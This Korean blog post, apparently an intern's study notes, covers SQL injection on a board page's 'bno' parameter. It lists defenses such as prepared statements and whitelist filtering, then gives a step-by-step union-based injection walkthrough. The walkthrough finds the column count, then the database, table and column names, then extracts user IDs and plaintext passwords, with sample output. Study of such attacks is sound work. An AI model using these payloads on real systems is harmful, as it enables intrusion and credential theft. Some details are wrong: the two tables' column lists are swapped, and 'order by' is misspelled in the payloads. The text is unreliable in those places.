본문 바로가기
공부 기록

[SECURE] SQL Injection - board

by 타태 2021. 6. 29.

 

2021.06.29 - [인턴업무] - [SECURE] SQL Injection - login

 

[SECURE] SQL Injection - login

2021.05.25 - [인턴업무] - [AXIOS] Ajax를 Axios로 변환하기 [AXIOS] Ajax를 Axios로 변환하기 2021.05.24 - [인턴업무] - [MYBATIS] ibatis를 mybatis로 변환하기 [MYBATIS] ibatis를 mybatis로 변환하기 2021...

ktae23.tistory.com

 

 

정상 조회

검색창에 제목, 내용 선택 창이 있다.

제목 또는 내용을 선택 한 뒤 검색어를 입력하고 검색 버튼을 누른다

해당 검색어가 포함 된 데이터가 출력된다

 

비정상 조회

blind

  • 게시물 번호에 no=1 and 1=1 또는 no=1 and 1=0을 넣어 항상 참 또는 항상 거짓이 되도록 쿼리를 조작가장 먼저 가입 된 계정으로 로그인 성공, 보통 관리자 계정

union

  • 2개 이상의 쿼리를 연결하여 DB 내용을 얻어 냄게시물 번호 뒤에 no=0 order by 1 -- 를 넣어 게시물이 나오지 않는 번호가 나온다면 컬럼의 수를 알 수 있다.
  • 게시물 번호 뒤에 no=0 union select 1,2,3,4,5,(컬럼수만큼) -- 을 넣어 게시물의 컬럼 위치를 확인 한다

 

방어 방법

  • preparedStatement 클래스와 하위 메소드 executeQuery(), execute(), executeUpdate()를 사용
  • preparedStatement 클래스를 사용할 수 없는 환경이라면, 입력 값을 필터링 한 후 사용필터링 기준은 SQL 구문 제한, 특수문자 제한, 길이제한을 복합적으로 사용.키워드를 공격과 의미 없는 단어로 치환하는 필터 작성에러메시지 노출되지 않도록 페이지 제작
  • 특수문자, 불필요한 문자 체크 등의 블랙리스트 방식보다는 영어, 숫자인지 등을 체크하는 화이트리스트 방식을 권장

 

공격 방법

board?bno=1
  • 위와 같이 특정 쿼리 값으로 정보를 조회하는 곳에서 사용
  • 밑에서 나오는 예시들은 쿼리값에 붙여서 사용한다

1.컬럼 개수 알아내기

board?bno=1' union select null--
board?bno=1' union select null,null--
board?bno=1' union select null,null,null--
board?bno=1' union select null,null,null,null--
  • 에러페이지가 나오지 않을 때까지 반복
  • 안나오면 null 개수

 

board?bno=1' oder by 1--
board?bno=1' oder by 2--
board?bno=1' oder by 3--
board?bno=1' oder by 4--
  • 에러페이지가 나올 때까지 반복
    • 나오면 직전 숫자가 컬럼의 개수

 

2. DB 이름 알아내기

board?bno=-99' union select 1,2, database(),4 --
  • 3번 컬럼 자리에 데이터베이스 이름이 표시
  • 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다

 

3. 테이블 이름 알아내기
board?bno=-99' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_type='TABLE'--

- 테이블 이름들이 한줄로 묶여서 표시
- 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다

##### 결과 : USERSTBL,BOARDSTBL

<br />

### 4. 컬럼명 알아내기

- 컬럼이름들이 한줄로 묶여서 표시
- 절대 사용되지 않을 인덱스 값을 넣어 뒤에 오는 명령이 실행 되도록 한다

<br />

#### USERSTBL

​```sql
board?bno=-99' union select 1,2, group_concat(column_name),4 from information_schema.columns where table_name='USERSTBL'--
결과 : ID,USERID,TITLE,CONTENT

BOARDSTBL

board?bno=-99' union select 1,2, group_concat(column_name),4 from information_schema.columns where table_name='BOARDSTBL'--
결과 : ID,USERID,USERPW,USERNAME

 

5. 데이터 추출하기

USERSTBL

board?bno=-99' union select 1,group_concat(USERID),3,4 from USERSTBL--
board?bno=-99' union select 1,group_concat(USERPW),3,4 from USERSTBL--
board?bno=-99' union select 1,group_concat(USERNAME),3,4 from USERSTBL--
결과 : Admin,Manager,User,Test,Secure,Ceo,Cto
결과 : Admin1234,Manager1234,User1234,Test1234,Secure1234,Ceo1234,Cto1234
결과 : 관리자,매니저,사용자,테스터,보안,대표이사,기술이사

BOARDSTBL

board?bno=-99' union select 1,group_concat(USERID),3,4 from BOARDSTBL--
board?bno=-99' union select 1,group_concat(TITLE),3,4 from BOARDSTBL--
board?bno=-99' union select 1,group_concat(CONTENT),3,4 from BOARDSTBL--
결과 : Admin,Manager,User,Test
결과 : 공지사항,매니저입니다,사용자입니다,테스터입니다
결과 : 공지사항입니다. 다양한 테스트를 시도해 보십시오.,새로 매니저가 되었습니다. 잘부탁드립니다.,사용자로 가입했습니다. 안녕하세요.,테스트해보세요

 

모아서 한번에 확인하기
board?bno=-99%27%20union%20select%201,group_concat(concat_ws(':',%20userid,title,content)),3,4%20from%20boardstbl--
결과 : Admin:공지사항:공지사항입니다. 다양한 테스트를 시도해 보십시오.,Manager:매니저입니다:새로 매니저가 되었습니다. 잘부탁드립니다.,User:사용자입니다:사용자로 가입했습니다. 안녕하세요.,Test:테스터입니다:테스트해보세요

 

번외 : URL Escape 문자
문자 url 문자 url 문자 url 문자 url 문자 url
space %20 ( %28 : %3A [ %5B ` %60
! %21 ) %29 ; %3B \ %5C { %7B
" %22 * %2A < %3C ] %5D | %7C
# %23 + %2B = %3D ^ %5E } %7D
$ %24 , %2C > %3E _ %5F ~ %7E
% %25 - %2D ? %3F . . . .
& %26 . %2E @ %40 . . . .
' %27 / %2F . . . . . .

 

반응형

댓글